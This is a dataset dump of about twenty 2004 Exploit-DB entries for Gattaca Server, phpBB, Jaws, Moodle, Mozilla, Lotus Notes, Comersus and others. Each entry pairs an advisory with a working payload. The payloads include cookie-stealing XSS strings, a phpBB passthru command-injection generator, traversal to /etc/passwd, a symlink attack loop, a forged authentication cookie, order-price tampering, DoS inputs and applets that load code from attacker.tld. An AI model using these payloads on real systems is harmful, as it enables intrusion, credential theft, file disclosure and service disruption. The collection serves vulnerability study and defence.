QLWD/code_shield huggingface dataset:
标题: Gattaca Server 2003 - 'Language' Path Exposure EDB-ID: 24285 CVE: 2004-2518 类型: WEBAPPS 平台: CGI 发布日期: 2004-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10729/info
 
It is reported that Gattaca Server 2003 contains multiple path disclosure vulnerabilities.
 
By sending HTTP requests to Gattaca's web server, it is reportedly possible to cause the application to return error pages that contain the full installation path of the application and the web document root path.
 
These vulnerabilities could be used by an attacker to aid them in further attacks against the server.
 
Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=[whatever] URL: https://www.exploit-db.com/exploits/24285
标题: Gattaca Server 2003 POP3 - Denial of Service EDB-ID: 24283 CVE: 2004-2520 类型: DOS 平台: MULTIPLE 发布日期: 2004-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10728/info
 
It is reported that Gattaca Server 2003 contains multiple denial of service vulnerabilities.
 
These vulnerabilities allow a remote attacker to crash the application, denying service to legitimate users.
 
Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

list 99999999999999999999999
retr 99999999999999999999999
uidl 98409583490583409539405 URL: https://www.exploit-db.com/exploits/24283
标题: IM-Switch - Insecure Temporary File Handling Symbolic Link EDB-ID: 24278 CVE: 2004-2502 类型: LOCAL 平台: LINUX 发布日期: 2004-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/10717/info

IM-Switch Insecure Temporary File Handling Symbolic Link VulnerabilityIt is reported that im-switch is prone to a local insecure temporary file handling symbolic link vulnerability. This issue is due to a design error that allows the application to insecurely write to a temporary file that is created with a predictable file name.

The im-switch utility will write to this temporary file before verifying its existence; this would facilitate a symbolic link attack.

An attacker may exploit this issue to corrupt arbitrary files. This corruption may potentially result in the elevation of privileges, or in a system wide denial of service. 

$ bash -c 'i=1;while [ $i -lt 65536 ]; do ln -s /etc/IMPORTANT_FILE
/tmp/imswitcher$i; let "i++"; done' URL: https://www.exploit-db.com/exploits/24278
标题: Gattaca Server 2003 - Cross-Site Scripting EDB-ID: 24286 CVE: 2004-2522 类型: WEBAPPS 平台: CGI 发布日期: 2004-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10731/info

Gattaca Server 2003 is reported prone to a cross-site scripting vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If a user follows this link, the hostile code renders in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks.

Cattaca Server 2003 version 1.1.10.0 is reported prone to this issue. Other versions may also be vulnerable.

http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=[code]//[code]
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=[code]//[code]&LANGUAGE=lang//en URL: https://www.exploit-db.com/exploits/24286
标题: Gattaca Server 2003 - Null Byte Full Path Disclosure EDB-ID: 24284 CVE: 2004-2518 类型: WEBAPPS 平台: CGI 发布日期: 2004-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10729/info

It is reported that Gattaca Server 2003 contains multiple path disclosure vulnerabilities.

By sending HTTP requests to Gattaca's web server, it is reportedly possible to cause the application to return error pages that contain the full installation path of the application and the web document root path.

These vulnerabilities could be used by an attacker to aid them in further attacks against the server.

Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

http://www.example.com/%00 URL: https://www.exploit-db.com/exploits/24284
标题: PHP 4.x/5.0 - 'Strip_Tags()' Function Bypass EDB-ID: 24280 CVE: 2004-0595 类型: REMOTE 平台: PHP 发布日期: 2004-07-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/10724/info

It is reported that it is possible to bypass PHPs strip_tags() function.

It is reported that under certain circumstances, PHPs strip_tags() function will improperly leave malformed tags in place.

This vulnerability may mean that previously presumed-safe web applications could contain multiple cross-site scripting and HTML injection vulnerabilities when viewed by Microsoft Internet Explorer or Apple Safari web browsers.

It is reported that 'magic_quotes_gpc' must be off for PHP to be vulnerable to this issue. 

If a web application uses strip_tags() similar to:
$example = strip_tags($_REQUEST['user_input'], "<b><i>
");

Then possible tags that may lead to exploitation might be:
<\0script> or <s\0cript> URL: https://www.exploit-db.com/exploits/24280
标题: Moodle Help Script 1.x - Cross-Site Scripting EDB-ID: 24279 CVE: 2004-0725 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/10718/info

It is reported that Moodle is susceptible to a cross-site scripting vulnerability in the 'help.php' script. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamic web content.

This issue may allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/help.php?file={XSS} URL: https://www.exploit-db.com/exploits/24279
标题: Gattaca Server 2003 - 'web.tmpl?Language' CPU Consumption (Denial of Service) EDB-ID: 24282 CVE: 2004-2519 类型: DOS 平台: MULTIPLE 发布日期: 2004-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10728/info

It is reported that Gattaca Server 2003 contains multiple denial of service vulnerabilities.

These vulnerabilities allow a remote attacker to crash the application, denying service to legitimate users.

Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/../../../../
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=.
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//[whatever]&LANGUAGE=lang//en URL: https://www.exploit-db.com/exploits/24282
标题: Mozilla Browser 0.9/1.x Cache File - Multiple Vulnerabilities EDB-ID: 24276 CVE: 2004-0760 类型: REMOTE 平台: WINDOWS 发布日期: 2004-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/10709/info

Mozilla Browser is reported prone to multiple vulnerabilities that could eventually allow for code execution on the local computer.

These vulnerabilities do not represent a significant threat on their own, however, code execution in the context of the user is possible if the two issues are combined.

By combining these issues, an attacker can eventually execute arbitrary HTML or script code in the local zone. The attacker would likely exploit these issues by crafting a malicious Web site containing HTML and script code and entice a user to visit the site. If a user visits the site, the malicious page will be cached in a known directory with a known file name. The attacker may then craft a link to this cached local file and entice a user to follow this link. Due to a flaw in Mozilla that allows cached files to be opened in the local zone as HTML documents the attack may lead to arbitrary code execution in the local zone.

It should be noted that this issue is reported to exist in all versions of Mozilla and Firefox browsers, however, Symantec was not able to reproduce this on Firefox 0.9.2. Furthermore, the directory names may vary with different platforms.

Update: New reports have stated that the Mozilla Browser is not vulnerable to the first issue as it uses random names for cache directories. This issue does however affect Firefox. It is also reported that an attacker does not have to use a file extension for the second vulnerability as long as a NULL byte is placed after the file name. Arbitrary extensions may be applied as well. 

file://C:\\Documents and Settings\\Administrator\\Application Data\\Mozilla\\Firefox\\Profiles\\default.nop\\Cache\\_CACHE_002_%00.html URL: https://www.exploit-db.com/exploits/24276
标题: IBM Lotus Notes 6.0/6.5 - Multiple Java Applet Vulnerabilities EDB-ID: 24275 CVE: 2004-2280 类型: DOS 平台: UNIX 发布日期: 2004-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/10704/info

IBM Lotus Notes is affected by three vulnerabilities concerning Java applets.

An attacker can exploit these issues to disclose potentially sensitive information, cause a web browser to open an arbitrary web page, and cause a stack-based buffer overflow that may be exploited to execute arbitrary code.

IBM has confirmed these vulnerabilities and has stated that they are currently under investigation. IBM problem reports for these vulnerabilities are KSPR5YS6GR, KSPR62F4D3, and KSPR62F4KN. 

<applet codebase="file:///" archive="http://www.attacker.tld/applet.jar" width="1" height="1"></applet>

Arbitrary browser opening:
public void init() {
getAppletContext().showDocument("http://www.attacker.tld/ie-exploits.html");
}

Stack-based buffer overflow:
<applet codebase="A:AAAAAAAAAAAAAAA( repeat 520 A's )AAAAAA" code="java.applet.Applet" width=100 height=100></applet> URL: https://www.exploit-db.com/exploits/24275
标题: Code-Crafters Ability Mail Server 1.18 - 'errormsg' Cross-Site Scripting EDB-ID: 24268 CVE: 2004-2494 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10695/info

Ability Mail Server is reported prone to multiple vulnerabilities that may allow a remote attacker to carry out cross-site scripting and denial of service attacks.

The server is prone to a cross-site scripting vulnerability that may allow an attacker to execute arbitrary HTML and script code in the browser of a vulnerable user.

It is reported that the mail server is also prone to a denial of service vulnerability. This issue presents itself when an attacker establishes about 150-200 connections to various services such as SMTP, POP3, View FeaturesIMAP4, WebMail etc.

These issue are reported to affect Ability Mail Server version 1.18, however, other versions may be affected as well.

http://www.example.com/_error?id=[id]&errormsg=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/24268
标题: Comersus Open Technologies Comersus 5.0 - 'comersus_message.asp' Cross-Site Scripting EDB-ID: 24261 CVE: 2004-0681 类型: WEBAPPS 平台: ASP 发布日期: 2004-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10674/info
 
Comersus Cart is reported prone to multiple vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting attacks and manipulate parameters to change the price of an order.
 
Comersus Cart version 5.09 is affected by these issues, however, other versions may be prone to these vulnerabilities as well.

http://www.example.com/comersus/backofficeLite/comersus_backoffice_message.asp?message=<script>alert("VULNERABLE_TO_XSS")</script> URL: https://www.exploit-db.com/exploits/24261
标题: Microsoft Internet Explorer 5.0.1 - JavaScript Method Assignment Cross-Domain Scripting EDB-ID: 24265 CVE: 2004-0727 类型: REMOTE 平台: WINDOWS 发布日期: 2004-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10689/info

A vulnerability exists in Microsoft Internet Explorer that may allow cross-domain/cross-zone scripting. 

It is reported that the vulnerability presents itself due to a failure to properly validate trust relationships between method calls that are made in separate Internet Explorer windows. This may make it possible for script code to access properties of a foreign domain or Security Zone.

Exploitation may permit execution of arbitrary code as the victim user.

<script>
//courtesy of Paul
function govuln(){
var w=window.open("javascript:setInterval(function(){try{var tempvar=opener.location.href;}catch(e){location.assign('javascript:document.innerHTML=&quot;<title>Microsoft Corporation</title>0wned&quot;');window.close();}},100)","_blank","height=10,width=10,left=10000,top=10000");
w.location.assign=location.assign;
location.href="http://www.microsoft.com";
}
govuln()
</script>

The following example was provided:

<script>;
var var1=location.assign;
alert("Assign function of the current window:\n"+var1);
var w=window.open("about:blank","_blank");
var var2=w.location.assign;
var w=alert("Assign function of the new window:\n"+var2);
w.close();
</script>;

This will reportedly generate two alerts describing the assign(). URL: https://www.exploit-db.com/exploits/24265
标题: phpBB 2.0.x - 'viewtopic.php' PHP Script Injection EDB-ID: 24274 CVE: 2004-1315 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10701/info

The 'viewtopic.php' phpBB script is prone to a remote PHP script injection vulnerability because the application fails to properly sanitize user-supplied URI parameters before using them to construct dynamically generated web pages.

Exploiting this issue may allow a remote attacker to execute arbitrary commands in the context of the webserver that is hosting the vulnerable software. 

<?
$rush='ls -al'; //do what
$highlight='passthru($HTTP_GET_VARS[rush])'; // dont touch

print "?t=%37&rush=";

for ($i=0; $i<strlen($rush); ++$i) {
 print '%' . bin2hex(substr($rush,$i,1));
}

print "&highlight=%2527.";

for ($i=0; $i<strlen($highlight); ++$i) {
 prt '%' . bin2hex(substr($highlight,$i,1));
}

print ".%2527";
?> URL: https://www.exploit-db.com/exploits/24274
标题: Mozilla 1.7 - External Protocol Handler EDB-ID: 24263 CVE: 2004-0648 类型: REMOTE 平台: WINDOWS 发布日期: 2004-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10681/info

Mozilla Internet Browser is reported prone to a weakness that may permit an external protocol to be called without any user interaction. This may expose Mozilla users to vulnerabilities that exist in the underlying operating system or in the software that is the default handler for a registered protocol.

Vulnerabilities in the applications that are invoked by a protocol, and vulnerabilities in the way a called protocol is handled by the host operating system may be exploited using this weakness in the Mozilla browser.

1. VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED "X-6487ohu4s6x0p".
THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER AT "shell:NETHOOD"
2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED "fileid.exe" IN THE
"shared" FOLDER:
<IMG SRC="shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe"> URL: https://www.exploit-db.com/exploits/24263
标题: Jaws 0.2/0.3 - 'gadget' Traversal Arbitrary File Access EDB-ID: 24255 CVE: 2004-2445 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/10670/info

JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:

JAWS is prone to a cross-site scripting vulnerability.

This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks. 

JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script. 

An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.

http://www.example.com/jaws/index.php?gadget=../../../../../../../../../../etc/passwd%00&path=/etc URL: https://www.exploit-db.com/exploits/24255
标题: Comersus Open Technologies Comersus 5.0 - 'comersus_gatewayPayPal.asp' Price Manipulation EDB-ID: 24260 CVE: 2004-0682 类型: WEBAPPS 平台: ASP 发布日期: 2004-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10674/info

Comersus Cart is reported prone to multiple vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting attacks and manipulate parameters to change the price of an order.

Comersus Cart version 5.09 is affected by these issues, however, other versions may be prone to these vulnerabilities as well.

http://www.example.com/comersus/store/comersus_gatewayPayPal.asp?idOrder=2002&OrderTotal=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan&address=123+Easy+Modify+Street&city=New+York&state=NY&zip=10001&country=US&phone=212%2D857%2D1731&email=tommy%40providesecurity%2Ecom&orderDetails=1x+%23RDHT%2F11+Red+Hat+Deluxe+WorkStation+Options%3A+%3D+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Millennium+Edition+Options%3A+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Want+to+Be+President%3F+Options%3A+%3D+%2414%2E39%0D%0A URL: https://www.exploit-db.com/exploits/24260
标题: 12Planet Chat Server 2.9 - Cross-Site Scripting EDB-ID: 24253 CVE: 2004-0678 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10659/info

It is reported that 12Planet Chat Server is prone to a cross-site scripting vulnerability. This issue is due to a lack of sanitization of user-supplied data.

The problem presents itself when malicious HTML or script code is passed in a URI argument to one of the servlets in the application.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks.

Although version 2.9 of the software was reported vulnerable, other versions may also be affected.

http://www.example.com:8080/servlet/one2planet.infolet.InfoServlet?page=<script>alert("hy")</script> URL: https://www.exploit-db.com/exploits/24253
标题: Jaws 0.2/0.3 - Cookie Manipulation Authentication Bypass EDB-ID: 24256 CVE: 2004-2443 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/10670/info
 
JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
 
JAWS is prone to a cross-site scripting vulnerability.
 
This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.
 
JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script.
 
An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.

//BEGIN

//exploit.php
<?PHP
setcookie("logged","d41d8cd98f00b204e9800998ecf8427e",time()+86400*365,'path
to jaws');
?>

//END URL: https://www.exploit-db.com/exploits/24256
标题: Symantec Brightmail Anti-Spam 6.0 - Unauthorized Message Disclosure EDB-ID: 24251 CVE: 2004-0671 类型: WEBAPPS 平台: CGI 发布日期: 2004-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10657/info

Symantec Brightmail anti-spam is reported prone to an unauthorized message disclosure vulnerability.

This issue exists in the Brightmail anti-spam control center. Due to improper access validation a remote attacker can read users' filtered email.

Symantec Brightmail anti-spam 6.0 is reported prone to this issue, however, other versions may be affected as well.

/brightmail/quarantine/viewMsgDetails.do?id=QMsgView-[some-value] URL: https://www.exploit-db.com/exploits/24251
标题: Fastream NETFile FTP/Web Server 6.5/6.7 - Directory Traversal EDB-ID: 24252 CVE: 2004-0676 类型: WEBAPPS 平台: CGI 发布日期: 2004-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10658/info

The NetFile FTP/Web Server is reported prone to a directory traversal vulnerability due to insufficient sanitization of user-supplied data. This can allow an attacker to create, view, and delete arbitrary files outside the web root.

Fastream NetFILE FTP/Web Server versions 6.7.2.1085 and prior are reported prone to this issue.

http://www.example.com?command=mkdir&filename=..//FOLDER_IS_OUTSIDE_THE_ROOT_DIRECTORY URL: https://www.exploit-db.com/exploits/24252
标题: Jaws 0.2/0.3 - 'action' Cross-Site Scripting EDB-ID: 24257 CVE: 2004-2444 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/10670/info
  
JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
  
JAWS is prone to a cross-site scripting vulnerability.
  
This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.
  
JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script.
  
An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.

http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<b>bold letter</b>
http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<script>alert('Colombia Rulx!!');</script> URL: https://www.exploit-db.com/exploits/24257